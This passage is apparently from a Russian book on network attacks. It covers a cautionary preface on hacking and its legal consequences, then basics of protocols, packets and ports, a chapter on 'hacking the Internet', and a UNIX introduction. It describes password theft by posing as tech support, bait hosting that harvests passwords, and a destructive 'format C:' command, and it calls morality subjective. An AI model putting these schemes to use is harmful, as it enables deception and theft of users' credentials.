+ORC an526164@anon.penet.fi

Предостережение молодому хакеру

“…ты можешь кричать вместе с хором: "Почему меня никто не предостерег?". Но я предостерег вас. Я предостерег вас своим примером, а не словами”

Френк Херберт «Бог - император Дюны»

С феноменом «цифровой отрешенности» психологи впервые столкнулись при обследовании солдат, «воевавших» в Персидском Заливе. Слово «воевавших» вовсе не случайно взято в кавычки. Ни в каких боевых действиях, по крайней мере, в каноническом понимании этого слова, пациенты не участвовали. Они «всего лишь» нажимали кнопки, запускающие ракеты и программировали их бортовые компьютеры. Легкость, с которой солдатами воспринимались масштабы поражения, сообщенные в цифровой форме, поразила психологов. Это походило на компьютерную игру: «Попал? Нет, не попал! А так попал? И так не попал! Ну а так - вот попал, так попал!». Совсем иные чувства испытываются при нанесении ударов «в живую»: психические расстройства от этого не редкость - часто человек отказывается признаться самому себе, что он виновник содеянного.

Сказанное выше не в меньшей степени применимо и к компьютерным преступлениям. Не каждый с легкостью сможет украсть хотя бы коробок спичек или выбить витрину, даже если ему ничто заведомо не угрожает. Для этого потребовалось бы переступить внутренние психологические барьеры, другими словами, воспитание, этику, мораль. В то же время, покупая, скажем компьютер, по поддельной (сгенерированной) кредитной карточке многие не чувствуют себя виноватыми. С той же легкостью можно «завалить» сервер некой фирмы, «бомбануть» чей-то почтовый ящик, вторгнуться в локальную сеть корпорации, забывшей о защите своих ресурсов…

Происходящее настолько напоминает компьютерную игру, что перестает восприниматься преступлением. К сожалению, это естественное следствие «цифровой отрешенности» - отдающий команду “format C: “ не видит, как хватается за голову владелец атакуемой машины, хотя и отчетливо представляет себе это. Куда же девается соболезнование, сострадание?

Злоумышленники обычно объяснят свои действия так: «мы санитары компьютерного леса, нужно научить людей заботится о собственной безопасности». Это позиция компьютерного Робин Гуда, врагом которого является невежество и ламерство. Заманчиво чувствовать себя крутым, копируя образ, созданный кинорежиссерами и поддерживаемый журналистами, представляющих откровенных вредителей Героями.

Пользователи, какими бы они ламерами не были, удивлено бурно реагируют на попытки приобщить их к миру знаний, сразу же вспоминая чью-то маму и, обещая кое-что оторвать у хакера, попадись он им на дороге.

Интересно, а как бы вел себя такой хакер, предложи ему аптекарь в качестве превосходного средства от кашля фенолфталеин (более известный в народе как пурген [34]). Разве это пакость с его стороны? Напротив, любой, окончивший среднюю школу, по идее должен помнить название популярнейшего индикатора. И путь хакер не возражает, что химия ему нужна, как зайцу панталоны. Аптекарю виднее, что нужно знать его пациентам!

Таких аналогий можно привести множество. Невозможно в одной голове удержать все достижения современной цивилизации. Поэтому-то и возникла дифференциация на профессии - специалистов в узкой области.

Секретарша Леночка ничуть не одержима компьютером и для нее он такой же инструмент, как и пишущая машинка, только значительно сложнее и еще значительно капризнее. Ну, ни к чему ей знать слабости реализации протокола TCP/IP в BSD UNIX, она не интересуется технологий срыва стека в Windows NT, точно как программист ничего не понимает в документообороте. Демонстрировать ей свои умения влезть в чужой компьютер просто глупо и бесполезно, все равно не поймет, а побежит за администратором, «помогите, у меня машина не работает!». А администратор-лох чем занят на рабочем месте? В тетрис играет? Вот теперь пускай попляшет, вот ему, хи-хи! Но, к сожалению, грамотных специалистов в этой области более чем недостаточно, вот и приходиться принимать на работу кого попало. Пренебрежительное отношение к неспециалистам - следствие комплекса неполноценности. Психологически нормальный человек не озабочен вопросами выяснения крутости. Напротив, он готов предложить свою помощь, дать совет, указать на недостатки защиты.

Профессиональное развитие в большинстве случаев влечет за собой элементы культурного воспитания. Напротив, отрывочные, поверхностные и беспредметные знания порой вызывают чувство гордости и самодостоинства. Чтение популярных книг часто приводит к иллюзии глубокого понимания материала. Читателю кажется: вот он уже во всем разбирается, все умеет, все понимает, за кадром остались лишь несущественные мелочи. Ему нравится разгадывать головоломки и решать логические задачи, нравится чувствовать себя умным, способным, талантливым. Конечно, хочется, чтобы и окружающие это знали и уважали. «Вот сейчас мы им продемонстрируем… Как это легче всего сделать? Конечно же, сломать что-нибудь эдакое!»

…вот так многие талантливые парни оказываются за решеткой [35], ломая себе жизнь. Слишком высокой оказывается цена оповещения собственных талантов окружающим, которые все равно не станут рукоплескать, разве что позавидуют…

Бессмысленно пытаться использовать свои технические знания и навыки в личных разборках для выяснения отношений или пытаться с их помощью улучшить свое материальное положение или объясниться с работодателями. «Провинция, не поймут» - отозвался бы по этому поводу денщик поручика Ржевского.

Хотелось бы предостеречь читателей от неверных шагов, в будущем способных погубить всю карьеру. Взломы, атаки - да, все это безумно увлекательно и интересно, но для большинства окружающих - неприемлемо. Стоит десять раз подумать, прежде чем открыто назвать себя хакером. И сто десять раз следует подумать, прежде чем решиться воспроизвести атаку. Это только кажется, что в Internet так легко затеряется. На самом деле любое действие оставляет свои следы, по которым нетрудно найти злоумышленника. Конечно, существует огромное множество анонимных Proxy-серверов, выполняющих запрос клиента от своего имени, но… анонимными они только кажутся. На самом же деле, многие из них определяют и записывают IP адреса всех клиентов. Другие же передают IP адрес в заголовках запроса. Третьи и вовсе «помечают» исходный компьютер [36], указывая кем была совершена атака.

Гарантированно обеспечить свою анонимность в сети - дело технически осуществимое и, в общем-то, тривиальное. По мере изложения материла, в книге будут затронуты и вопросы сохранения анонимности. Однако, чувство собственной безопасности это только чувство, но отнюдь не гарантия. Сеть предоставляет поистине неограниченные возможности для шпионских средств, позволяя выследить кого угодно и где угодно.

Финансовые же махинации и вовсе не требуют для своего раскрытия прослеживать все следы злоумышленника - рано или поздно тот сам придет за деньгами. Опытный бухгалтер порой интуитивно распознает «левые переводы». К тому же, по всем преступлениям накоплен изрядный статистический материал, а число возможных схем махинаций очень ограничено. Так, например, в одном случае злоумышленник перевел небольшую сумму на собственную кредитную карточку, на которую до этого времени поступала исключительно заработная плата. Работники банка заинтересовались и попытались выяснить откуда же поступили деньги… Вот так факт мошенничества и выявился.

Кстати, первый случай хищения посредством компьютера в бывшем СССР был зарегистрирован в 1979 году. Молодой программист из Вильнюса перевел на свой счет 78 584 рубля, но, так и не успев ими воспользоваться, угодил в тюрьму.

Аналогичным образом закончилась и нашумевшая история некого Левина, похитившего у «Сити-Банка» 10 миллионов 700 тысяч 952 доллара США, как и его сотоварища по несчастью - Гофмана, использовавшего программу PC Authorise, с помощью которой он выступал от имени продавца компьютерного магазина «Virtualynx Internet».

Словом, не стоит использовать полученные знания против себя самого. Да, существуют и вполне успешно процветают многие коммерческие хакеры. Но это не повод быть уверенным в собственной безнаказанности…

В этой книге никак не будут затрагиваться моральные стороны вопроса описываемых атак. Ведь мораль - это только субъективное (и чаще предвзятое) предубеждение общества или отдельных его представителей, постоянно меняющиеся с течением времени… Выбор как лучше распорядиться почерпнутыми знаниями - в добро или зло - остается за читателем [37].

Но что есть зло? Всякому вольно понимать это по-своему. Для нас, ученых, зло в невежестве, но церковь учит, что невежество - благо, а все зло от знания. Для землепашца зло - налоги и засухи, а для хлеботорговца засухи - добро. Для рабов зло - это пьяный и жестокий хозяин, для ремесленника - алчный ростовщик. Так что же есть зло, против которого надо бороться?

Никакой человек не способен уменьшить его количество в мире. Он может несколько улучшить свою собственную судьбу, но всегда за счет ухудшения судьбы других»

Трудно быть Богом, Братья Стругацкие

Что такое Internet? (глава для начинающих)

O В этой главе 

O Архитектура Internet

O Дерево протоколов

O Пакеты в Internet

O Назначение портов

Хакеры и Internet

С точки зрения пользователя, Internet, - прежде всего совокупность серверов и сетевых ресурсов. Но это лишь верхушка айсберга. Разве не удивительно, что, набрав в строке браузера «www.nasa.gov», пользователь попадет на главную страницу сервера NASA, нигде не сбившись с пути в длинной цепочке маршрутизаторов, ретрансляторов и опутывающих все это хозяйство кабелей?

Трудно поверить, но давным-давно автоматической маршрутизации еще не существовало, - отправителю сообщения приходилось держать у себя в голове всю цепочку серверов, связывающих его с получателем. И, если он ошибался в маршруте, сообщение терялось в дороге.

Успех Internet объясняется ее уникальной (по тем временам) способностью самостоятельно решать задачи маршрутизации сообщений. Сеть - нечто большее куска кабеля, соединяющего множество компьютеров единым клубком. Это живой организм, с бьющимся сердцем, мозгом и разветвленной нервной системой, связывающей жизненно важные центры. Как и любой другой организм, сеть подвержена болезням (сбоям), противостоять которым помогает мощная иммунная система, сохраняющая работоспособность Internet даже после разрушения большинства узлов.

Однако посылкой определенных сообщений можно добиться нарушения нормального функционирования сети или получить несанкционированный доступ к информационным ресурсам.

В этой книге речь будет идти исключительно о программных атаках [38], в чем-то сродни описанным в «Технике и философии хакерских атак». Но за кажущейся схожестью скрыты принципиальные отличия.

Программу, установленную непосредственно на собственном компьютере, можно дизассемблировать (то есть изучить алгоритмы с точностью до реализации) и отлаживать (контролировать процесс выполнения). Без этих двух инструментов - дизассемблера и отладчика, не мыслит своего существования ни один исследователь программ. Но для сетевых атак они бесполезны. Код защищенного приложения исполняется где-то там, на далеком сервере и недоступен для изучения или модификации.

На первый взгляд подобная система неуязвима. Пользователь может обмениваться с сервером сообщениями чем-то напоминающими командный язык консольных приложений, таких, например, как «command.com». С этой точки зрения нет никаких существенных различий между программами, запущенными на удаленном компьютере и локальной машине, за исключением невозможности непосредственно влиять (или контролировать) работу серверных приложений.

После сказанного становиться непонятно, почему вообще возможны сетевые взломы? В чем уязвимость сервера, ожидающего пароль? За исключением попыток угадывания и перебора в голову не приходят никакие варианты. Невозможность контроля над процессом проверки идентичности пароля лишает взломщика всех шансов проникновения в систему.

Но неприступной защита выглядит только на бумаге. Чаще всего у злоумышленника все же имеется доступ к системе, пускай даже на «птичьих» [39] правах. И разговор идет не столько о проникновении в систему, а о повышении собственного статуса - совсем не одно и то же!

Например, гипотетически возможна следующая ситуация: сервер хранит пароли пользователей (в том числе и администратора) в одном незашифрованном файле, который в результате некоторой программной ошибки оказался доступен всем пользователям без исключения. Такая схема в различных модификациях и оказывается основной причиной успешности сетевых атак. Злоумышленник ищет общедоступный ресурс, позволяющий ему повлиять или изучить систему защиты.

Однако, это не единственный вариант. Другой, излюбленный злоумышленниками прием заключается в атаке на внешние, незащищенные (или плохо защищенные) ресурсы защиты. Так, например, для доступа к посторонней корреспонденции вовсе не обязательно атаковать хорошо защищенный ящик жертвы, а достаточно войти в доверие к любому из многочисленных слабо защищенных транзитных серверов, обрабатывающих почту.

Наконец, можно «подсунуть» жертве свой ресурс, занимающимся (помимо основной деятельности) сбором и накоплением паролей. Что может быть легче игры на жадности и алчности своих жертв? Достаточно выпустить рекламу типа «даю 200 мегабайт под страничку и почту. Бесплатно и без баннеров. На самом быстром канале». Пользователи не заставят себя ждать и мгновенно оккупируют сервер злоумышленника, порой предоставляя ему очень ценные документы [40].

Позже каждая из этих (и многих других) атак, будут тщательно рассмотрены и разобраны. Сейчас же важно понять, почему возможны сетевые атаки. Грубо говоря, потому что сеть представляет собой совокупность многих компонентов, при определенных ситуациях взаимно влияющих друг на друга.

Как защититься от проникновения злоумышленника в свою систему? «Очень просто» - создать непротиворечивую систему защиты. На самом деле это невозможно. Ведь каждый ее компонент, помимо общеизвестных, обладает рядом недокументированных функций, любая из которых может оказаться способной нарушить нормальную работу защиты.

Поэтому, нет никаких строгих оценок степени защищенности и безопасности системы. И что бы проверить ее уязвимость… прибегают к хакерским атакам, точнее к их имитации. Если дыр не нашел опытный эксперт, предполагается не найдет их и злоумышленник.

Вся проблема в отсутствии опытных и дешевых экспертов. Большинству мелкокорпоративных фирм обеспечение собственной безопасности может обойтись куда дороже убытков хакерской атаки.

Теоретически, в отсутствии эксперта, его роль должен выполнять системный администратор. Но хватит ли у него знаний и опыта? В такой ситуации эта книга может оказаться очень полезной.

Среди читателей наверняка окажутся и хакеры, желающие обогатить свой опыт или же совершить свою первую в жизни атаку. Хотелось бы отметить, что не всякое несанкционированное проникновение в защищенную систему влечет за собой нарушение закона. Все зависит от того, кому принадлежит эта система, и чьи права оказались нарушенными. Так, например, атаковать собственный сервер никто не запретит [41]

Но в любом случае, прежде чем отправится в бой, потребуется изучить устройство всех основных элементов сети Internet и механизмы их взаимодействия друг с другом. Это может показаться скучным. Вместо ожидаемой романтики - утомительные описания стандартов и протоколов. К сожалению, подобный этап неизбежен на первых стадиях обучения. Невозможно читать захватывающий детектив, не умея складывать буквы.

Съел бобра - спас дерево!

народный фольклор

Протоколы как средство общения

Обеспечить физическую связь между компьютерами - только половина проблемы. Не менее трудно создать программное обеспечение, работающее в таких жестких условиях. Контроль целостности сообщений и успешности их доставки, согласование различных операционных систем - вот далеко не полный перечень требований, предъявляемых к сетевым приложениям.

Разумеется, существовало множество различных решений, сменяющих друг друга с течением времени. Отбраковывались одни идеи, появлялись другие. Наиболее живучей оказалась клиент - серверная архитектура. Суть ее заключается в следующем: на одном из компьютеров устанавливается специальное программное обеспечение, называемое серверным, а на множестве компьютеров, подключенных к нему - клиентским [42]. Клиент посылает запросы, а сервер в ответ может вернуть запрошенный ресурс или сообщение об ошибке.

Очевидно, клиент и сервер должны придерживаться общих соглашений, иными словами формализовать язык своего общения. Вот это самое соглашение и называется протоколом.

Примером протокола может случить командный язык интерпретатора “command.com”. С его помощью пользователь может управлять файлами и папками своего компьютера. Если попытаться применить ту же схему для взаимодействия с удаленным сервером возникнет необходимость добавить в протокол механизмы установки и управления связью.

Но смешивать различные группы команд в одну кучу непрактично. Поэтому еще на заре развития Internet их решили разделить на отдельные группы, в зависимости от решаемых задач. Так возникли семейства протоколов - множество языков, каждый со своей узкой специализацией, в совокупности обеспечивающих надежную и бесперебойную связь.

Причем один язык ничего не знал о существовании другого, - это обеспечивало полную взаимную независимость. В самом деле, для получения файла с сервера достаточно отдать команду “«Получить Файл» («Имя Файла»)”, совершенно не интересуясь, как и чем было создано соединение между двумя компьютерами, - достаточно лишь знать, что оно есть и все.

В таком случае говорят, что один протокол реализован поверх другого. Можно выделить как минимум два уровня - один протокол, отвечающий за установку соединения, а другой - за передачу команд пользователя и данных.

Примечание: к подобному литературному приему прибегают многие авторы, и у читателей порой возникает вопрос - если протокол всего лишь язык, то, как же он может обеспечивать соединение? Разумеется, никак. Соединение на самом деле обеспечивает программное обеспечение, реализующее протокол данного уровня. Именно на его плечи ложатся все вопросы по контролю и поддержанию связи.

Есть ли необходимость изучать протоколы? Ведь уже написаны десятки готовых приложений, не требующих пользователя ничего, кроме владения мышью. Но редкий клиент использует все возможности протокола, а в любом протоколе, как и в каждом, уважающем себя, языке, есть базовый набор стандартных команд, и впечатляющее множество функций, необязательных для реализации, варьирующихся от сервера к серверу.

Наивно было бы ожидать, от клиентских приложений умения поддерживать нестандартные команды. Все они действуют по стандартной, порой весьма неудобной схеме.

Любой протокол - прежде всего язык, побуждающий к общению - выражению своих мыслей и потребностей в уникальной форме, зависящей от конкретной ситуации. Кроме того, лучший способ понять, как устроена и функционирует сеть - поговорить с ней на ее языке.

Впрочем, если откровенно, то никакого единого общесетевого языка не существует. Для полноценного общения потребуется изучить не один десяток языков, то есть протоколов, после чего по праву можно будет считать себя полиглотом.

Пожалуй, начнем…

Мы похожи на людей, что живут в чужой стране, почти не зная ее языка; им хочется высказать много прекрасных, глубоких мыслей, но они обречены произносить лишь штампованные фразы из разговорника. В их мозгу бродят идеи одна интереснее другой, а сказать эти люди могут разве что «Тетушка нашего садовника позабыла дома свой зонтик».

С. Моэм

Пакеты - кванты информации

В основе языка лежат слова. Слова состоят из букв. Буквы - из звуков. Единицей сетевых сообщений является пакет. Почему не байт? Это бы оказалось слишком расточительным решением: каждый отправляемый байт пришлось бы снабжать заголовком, содержащим, как минимум, адреса получателя и отправителя. Сетевое сообщение, по сути, ничем не отличается от обычного письма. Транзитные узлы изучают конверт и передают его по цепочке друг другу, пока, наконец, оно не окажется у получателя (или возвратится назад, к отправителю).

Таким образом, пакет состоит из конверта, в который при отправлении вкладывается текст самого сообщения. Аналогичным образом получатель извлекает сообщение из конверта. Впрочем, при ближайшем рассмотрении этот процесс оказывается намного сложнее. Как уже было сказано в главе «Протоколы как средство общения», для установки связи приходится прибегать к услугам множества протоколов, каждый из которых ничего не знает обо всех остальных.

Поэтому один протокол не в состоянии интерпретировать заголовок пакета, адресованного другому протоколу. С его точки зрения пакет представляет собой данные неизвестного формата. Он приклеивает к ним свой заголовок и передает пакет очередному протоколу более низкого уровня. Так, в процессе передачи, сообщение все больше и больше «обрастает» служебными данными.

Нечто аналогичное происходит на почте. Отправители пишут письмо и укладывают его в конверт. Почтальоны сортируют письма по близким адресам назначения и запаковывают их в большие мешки, которые собираются с узлов связи и вновь сортируются и укладываются в огромные контейнеры. А у получателя протекает обратный процесс. Протоколы нижнего уровня получают пакет, сверяют заголовок (нам ли он адресован и не был ли поврежден при доставке), и в случае положительного результата, извлекают его содержимое и передают «наверх».

Очередной протокол более высокого уровня проделывает ту же операцию, пока, наконец, из стопки конвертов не выпадет исходное сообщение. Теперь оно может быть обработано прикладным программным обеспечением, даже не подозревающим о том, какой длинный путь прошло сообщение и сколько превращений ему пришлось притереть.

Поскольку манипуляции с заголовками пакетов могут привести к ошибкам и сбоям в обработке сетевых сообщений, большинство операционных систем не разрешает непосредственного доступа к полям заголовка, а предоставляет для их формирования множество высокоуровневых функций API [43], не допускающих задания некорректных значений.

Теоретически сетевое программное обеспечение должно быть готово к любым искажениям заголовка. В самом худшем случае, когда пакет безнадежно поврежден, он должен быть уничтожен или отправлен назад.

К сожалению, в результате ошибок реализации оказывается возможным воздействовать на узлы сети, особыми искажениями заголовка. Например, «завешивать» их.

Бороться с этим можно установкой сетевых фильтров, тщательно проверяющих каждое поле заголовка. В дальнейшем об этом будет рассказано подробнее.

Пакет это минимальная порция информации, которой протоколы обмениваются друг с другом. Он состоит из конверта (заголовка) и сообщения (данных). Пакеты могут многократно вкладываться и извлекаться друг из друга, а при необходимости пакеты могут многократно дробиться, вновь склеиваясь у получателя.

Если некто решит отправить фотографию своему другу, почтовый клиент добавит к ней заголовок с адресами отправителя и получателя, темой сообщения, датой отправки и так далее и передаст сформированный пакет на уровень ниже. Но протокол, ответственный за передачу данных, не может просто дописать свой заголовок и выпустить этот огромный пакет в сеть. Ведь такими темпами не долго начисто блокировать ее работу! Поэтому один большой пакет дробится на множество мелких, перемешивающихся в процессе путешествия со многими другими. На компьютере получателя полученные фрагменты вновь собираются в исходный пакет, из которого прикладной протокол извлекает содержимое сообщения.

Однако, при обсуждении протоколов TCP/IP технически правильно употреблять термин дейтаграмма, вместо слова пакет. Дейтаграмма представляет собой единицу данных, с которой работают протоколы TCP/IP. А термин пакет принято употреблять при описании физического уровня передачи сообщений. Дейтаграмма упаковывается в пакет, причем не обязательно в один. Так, например, при передаче дейтаграмм по X.25 сетям они помещаются в двух пакетах. Впрочем, это лексическое различие достаточно незначительно и в обиходной речи часто говорят «пакет», подразумевая «дейтаграмма».

Дерево протоколов

Прежде чем продолжать повествование о протоколах, необходимо рассмотреть какие задачи приходится решать при установке соединения.

В первую очередь можно назвать маршрутизацию - выбор маршрута, по которому будет отправлен пакет. Ведь получатель может находиться и на другом континенте (и даже в космосе!), соединенный с отправителем множеством подсетей, часть которых в какой-то конкретный момент времени может оказаться неработоспособной, и тогда придется направлять пакеты «объездным» путем.

Но прежде чем отправить пакет в путешествие, надо убедиться, что его размер не парализует сеть свой обработкой. Разбивку одной дейтаграммы на множество пакетов [44] фиксированного размера называют фрагментацией, а противоположный этому процесс - сборкой.

Очевидно, фрагментация влечет за собой необходимость контроля целостности дейтаграммы (все ли пакеты были доставлены) и наличие механизма запросов для повторной пересылки пакетов.

Вообще же для выявления ошибок и сбора информации о работе сети необходим отдельный специализированный механизм, позволяющий находить и по возможности автоматически устранять нарушения работоспособности узлов сети.

Очень важно обеспечить защищенность соединения, как от случайных ошибок, так и преднамеренных атак. Сюда же можно отнести проблемы разделения одного канала между несколькими одновременно работающими приложениями.

Таким образом, вводится понятие виртуального канала, обеспечивающего прозрачную связь между двумя приложениями, защищенную от влияния всех остальных приложений. Например, пользователь может одновременно проверять почту, кликать баннеры, болтая тем временем, с друзьями по ICQ. При этом одно приложение никак не мешает другим (разве что снижает общую скорость).

Все перечисленные операции можно разбить на несколько групп, каждая из которых будет реализована своим протоколом. Очевидно, при этом одни протоколы должны опираться на другие. Так, например, для поддержки виртуального канала необходимо наличие устойчивой связи между узлами.

Поэтому, протоколы можно объединить в семейства в зависимости от круга решаемых ими задач. Тогда сами семейства окажутся связанными между собой простой иерархической зависимостью.

Ниже всех находится так называемый сетевой уровень. В Internet он реализован двумя протоколами IP (Internet Protocol) и ICMP (Internet Control Message Packet).

Протокол IP берет на себя заботы по маршрутизации, фрагментации и сборке пакетов на компьютере получателя. Фактически IP выполняет всю черновую работу по установлению соединения.

К этому же уровню относиться и ICMP протокол, использующийся для передачи сообщений об ошибках и сборе информации о работе сети. На нем основана работа таких утилит, как Ping и TraceRoute, применяющихся для диагностики сети.

Транспортный уровень реализован поверх сетевого. Это означает, что для своих нужд он использует результаты работы протоколов нижнего уровня. В Internet он реализован в протоколах TCP (Transmission Control Protocol) и UDP (User Datagram Protocol). В задачи транспортных протоколов входит обеспечение надежной и достоверной доставки данных через сеть. Сюда же относятся механизмы установки, поддержания и упорядочивания закрытия каналов соединения; обнаружение и устранения неисправностей передачи.

Однако TCP и UDP протоколы функционируют по-разному. Тогда как TCP создает виртуальный канал связи, гарантируя достоверность и надежность сообщений, UDP работает без установки соединения, и всего лишь проверяет контрольную сумму принимаемых дейтаграмм.

Может показаться, что UDP «плохой» протокол. Частично это так и есть, поэтому в подавляющем большинстве случаев используется надежный виртуальный канал связи, создаваемый TCP.

Однако UDP оказывается заметно шустрее TCP, поскольку не требует накладных расходов на поддержание соединения. Он используется, когда необходимость в дополнительном сервисе транспортного уровня отсутствует, а достоверность передачи не требуется. На нем в частности, реализован протокол обращений к DNS (Domain Name Space). В главе «Атака на DNS сервер» [45] будет показано как использовать этот факт для атаки с целью перехвата трафика.

Наконец, прикладной уровень обеспечивает высокоуровневый интерфейс между сетевыми приложениями. Сюда относится множество протоколов работы с почтой (POP3, SMTP, IMAP), сетевыми новостями (NNTP), файлами (FTP) и так далее.

Конечно, это очень грубая схема, но общение представление о функционировании Internet с ее помощью получить можно. В дальнейшем же каждый протокол будет рассмотрен во всех подробностях.

Что такое порт?

Начинать подробное повествование о протоколах невозможно без упоминания портов. Впрочем, читатель наверняка сталкивался с этим понятием и раньше. К сожалению, распространенные учебники пользователя для Internet только добавляют тумана в этом вопросе.

Физические порты ввода-вывода хорошо известны и интуитивно понятны. Может быть, нечто аналогично есть и в Internet? На самом же деле, с сетевой точки зрения порт - не более чем одно из полей заголовка пакета (в действительности их даже два - порт отправителя и порт получателя).

А нужны они затем, чтобы уточнить с каким именно приложением, из всех, установленных на удаленном компьютере, клиент хочет установить связь. Каждое из приложений «закрепляет» за собой один или несколько портов и получает все приходящее пакеты, в заголовках которых прописаны те же значения. Пакет, который никто не забирает, уничтожается, а отправителю возвращается сообщение об ошибке (в этом случае на жаргоне говорят, что «порт закрыт»).

Такая схема обеспечивает совместную работу множества приложений, так, например, на одном и том же компьютере, имеющим всего один IP адрес, могут быть установлены почтовый сервер, сервер новостей, WEB-сервер, FTP-сервер. И никаких конфликтов и разборок «это чей пакет?» между ними не будет.

Очевидно, что приложение-отправитель и приложение-получатель должны использовать общие соглашения. Можно было придумать множество механизмов, обеспечивающих синхронизацию портов отправителя и получателя, но самым простым оказалось закрепить за каждым протоколом определенные порты, заставив разработчиков программного обеспечения придерживаться этого стандарта.

Прочная ассоциация порт-протокол привела к тому, что эти два термина стали частенько путать. Фраза «свяжись с сервером по сто десятому порту» - подразумевает «свяжись с сервером по протоколу POP3». На самом деле, почтовый сервер может быть настроен и на другой порт, значение которого каким-то образом будет сообщено клиенту.

Важно понять, формат передаваемых данных никак не связан со значением порта в заголовке. Выбор порта никак не влияет на протоколы прикладного уровня. Порт это только 16 битное число в заголовке TCP пакета.

Как взломать Internet (глава для самых начинающих)

Нельзя все ломать, надо на чем-то и сидеть

Народная мудрость

«Как взломать Internet» - слышится буквально во всех конференциях, прямо или косвенно связанных с взломом, коммуникациями и сетями. Вопрос технически безграмотен, ибо если уж и ломать, то не Internet (совокупность узлов, связанных друг с другом), а защиту от несанкционированного доступа. Защиты же сильно варьируются от узла к узлу, поэтому никакого универсального способа взлома «всего Internet» не существует. Речь может идти о взломе каких-то конкретных узлов или типовых атаках, срабатывающих в подавляющем большинстве случаев.

Однако обнаруженная однажды лазейка затыкается разработчиками защиты (или администраторами) - стоит только им узнать о ней. Поэтому, наивно надеяться, что любая общедоступная программная реализация невиданной доселе атаки долгое время сможет оставаться актуальной. Впрочем, существовали и такие дыры, которые затыкались не сразу (взять, к примеру, ошибку в реализации NPFS, описанную в главе «Атака на Windows NT») и тем более, сплошь и рядом встречаются администраторы, начисто игнорирующие всякие заплатки и халатно относящиеся к собственной безопасности.

Это говорит о принципиальной возможности сетевых атак, но отсюда отнюдь не вытекает существование некого универсального взломщика. То есть, вытекает еще как! Существуют же автоматизированные средства для поиска уязвимости, например, тот же SATAN (не к ночи он будет упомянут).

Существовать-то они, может быть, и существуют, да вот проку с них, как с козла известно чего. Упомянутый SATAN свободно доступен в сети [46], но безнадежно устарел не на один ледниковый период и совершенно бесполезен - именно в силу своей массовой распространенности. Дыры, которые он ищет, не заткнул только самый зауханный администратор.

Все действительно стоящие средства распространяются на коммерческой основе и стоят тысячи, а то и десятки тысяч долларов. Они действительно позволяют автоматически атаковать даже недурно защищенную сеть, но совершенно недоступны рядовому злоумышленнику.

То, что громко называется «взломщиком Internet», представляет собой или вирус, или троянскую программу, в лучшем случае выводящую на экран издевательское послание, а в худшем уничтожающую информацию с жесткого диска.

Однако не стоит путать «взломщиков Internet» c, так называемыми, эксплоитами - программными реализациями одной или нескольких конкретных атак. Они действительно существуют и даже, случается, работают. Но… спустя непродолжительное время безнадежно устаревают: дырки латаются, и с каждым днем найти незалатанный сервер становится все труднее и труднее.

Впрочем, новые дырки обнаруживаются с завидной любому хронометру регулярностью, а их поток все растет и растет. (Естественно, программное обеспечение постоянно усложняется и риск допустить в нем ошибку становится все больше и больше). Поэтому, в любой момент времени любой узел сети потенциально уязвим.

Можно, не дожидаясь готовых эксплоитов, искать уязвимости самостоятельно. Собственно, большая часть этой книги и посвящена тому, как это сделать. Однако предполагается, что временное или постоянное соединение с Internet у читателя уже имеется.

“Атака на Internet” не означает «атаку на провайдера». Не то, что бы такое было невозможно (хотя техническим путем осуществить подобное все же затруднительно), просто данная проблема лежит совсем в другой области, не затрагиваемой в настоящей книге.

Существует всего два возможных способа атаки - похищение пароля у легального пользователя и перехват сессии аутентификации. Похищение пароля - процесс творческий. Можно позвонить от имени службы технической поддержки и потребовать пароль на бочку, можно послать пользователю хитрую программку, под шумок вытаскивающую пароль с его компьютера, а можно… доверчивых людей очень много и ввести их в заблуждение ничего не стоит. Продолжая развивать мысль дальше - можно украсть много-много денег и на них купить доступ в Internet. Но, к сетевым атакам это не имеет никакого отношения, как и все вышеперечисленные способы.

Перехват сеанса аутентификации пользователя на сервере провайдера - то же хищение пароля, но с применением технических средств. В главе «Атака на Windows 95 и Windows 98» такой способ подробно рассмотрен. Но для рядового злоумышленника он представляет скорее академический интерес: в локальной сети Ethernet чужие пакеты перехватить легко, а вот попробуй-ка, вклинься в телефонную линию связи между пользователем и провайдером! Кстати, обычный модем для анализа трафика не поможет, а понадобится специальное оборудование, намного превышающее в стоимости «самый лучший Internet».

Совсем другое дело, если есть хотя бы временный доступ в Internet. Если провайдер хранит имена и пароли пользователей на сервере, доступном через Internet (а вовсе не факт, что так будет всегда), существует возможность атаковать его по одному из сценариев, описанных в настоящей книге.

Но не существует никакой универсальной методики взлома. Каждый конкретный случай должен рассматриваться индивидуально и не удивительно, если окажется, что у такого-то провайдера никаких дыр нет и пароли утащить невозможно. В любом случае, анализ уязвимости - дело долгое, кропотливое и требующее определенных знаний и навыков (в противном случае методичного перебора всех имеющихся эксплоитов).

Среди неквалифицированных злоумышленников распространена следующая методика: терпеливо дожидаясь свежего эксплоита, они немедленно атакуют им провайдера, вероятнее всего, просто не успевшего на него среагировать. Однако очень редко удается сделать нечто большее, чем завесить сервер.

Тенденция к удешевлению сетевых услуг (в ряде случаев стоимость ночного времени просто до смешного низка) обещает уменьшить актуальность проблемы «взлома Internet», поскольку скоро (ну почти скоро) появится возможность использовать его бесплатно или практически бесплатно.

– Вот посмотрите, батюшка, какая рожа! - сказал Плюшкин Чичикову, указывая пальцем на лицо Прошки. - Глуп ведь как дерево, а попробуй что-нибудь положить, мигом украдет!

Николай Васильевич Гоголь «Мертвые Души»

UNIX

O В этой главе:

O История возникновения и эволюции UNIX

O Техника запуска UNIX приложений под Windows

O Важнейшие команды и приемы работы с UNIX

O Конвейер - устройство, назначение, использование для атак

O Понятие ввода-вывода

O Перенаправление ввода-вывода

O Использование перенаправления ввода-вывода для атак

O Язык Perl - краткая история, возможности, использование для атак

O Удаленное выполнение программ

O Атака на UNIX

O Архитектура подсистем безопасности UNIX

Введение в UNIX

"Два из наиболее известных продуктов Беркли - LSD и Unix. Я не думаю, что это совпадение"

Аноним

«В 1943 г. в лаборатории швейцарской фармацевтической фирмы "Сандос" было получено вещество, в сотни и тысячи раз более активное, чем псилоцибин и мескалин (Hoffmann А., Stoll А., 1943). Оно не обладает ни вкусом, ни цветом, ни запахом, и ничтожные его количества способны вызвать галлюцинации, в основном зрительные… Это вещество, ставшее известным под названием LSD…»

По поводу эпиграфа - думается, Швейцария и Беркли [47] имеют друг к другу точно такое отношение, как UNIX к LSD, но в отношении второго утверждения Аноним прав: UNIX (в том виде, в котором он известен сейчас) возник именно в университете Беркли, став частью культурного мира программистов, до тех пор, пока усилиями компании Microsoft операционные системы Windows 9x и Windows NT практически полностью не вытеснили его с рабочих станций и серьезно пошатнули репутацию UNIX как идеальной серверной платформы.

